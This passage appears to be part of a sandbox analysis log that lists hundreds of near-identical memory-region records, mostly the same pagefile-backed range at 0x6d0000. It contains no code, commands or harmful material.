"pagefile_0x00000000006d0000" filename = "" Region: id = 8725 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8726 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8727 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8728 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8729 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8730 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8731 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8732 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8733 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8734 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8735 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8736 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8737 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8738 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8739 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8740 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8741 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8742 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8743 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8744 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8745 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8746 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8747 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8748 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8749 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8750 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8751 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8752 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8753 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8754 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8755 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8756 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 8757 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 8758 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 8759 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8760 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8761 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8762 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8763 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8764 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8765 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8766 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8767 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8768 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8769 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8770 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8771 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8772 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8773 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8774 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8775 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8776 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8777 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8778 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8779 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8780 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8781 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8782 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8783 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8784 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8785 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8786 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8787 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8788 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8789 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8790 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8791 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8792 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8793 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8794 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8795 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8796 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8797 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8798 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8799 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8800 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8801 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8802 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8803 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8804 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8805 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8806 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8807 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8808 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8809 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8810 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8811 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8812 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8813 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8814 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8815 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8816 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8817 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8818 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8819 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8820 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8821 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8822 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8823 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8824 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8825 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8826 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8827 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8828 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8829 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8830 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8831 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8832 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8833 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8834 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8835 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8836 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8837 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8838 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8839 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8840 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8841 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8842 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8843 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8844 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8845 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8846 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8847 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8848 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8849 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8850 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8851 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8852 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8853 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8854 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8855 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8856 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8857 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8858 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8859 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8860 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8861 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8862 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8863 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 8864 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 8865 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 8866 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8867 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8868 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8869 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8870 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8871 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8872 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8873 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8874 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8875 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8876 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8877 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8878 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8879 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8880 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8881 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8882 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8883 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8884 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8885 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8886 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8887 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8888 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8889 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8890 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8891 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8892 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8893 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8894 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8895 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8896 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8897 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8898 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8899 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8900 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8901 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8902 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8903 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8904 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8905 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8906 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8907 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8908 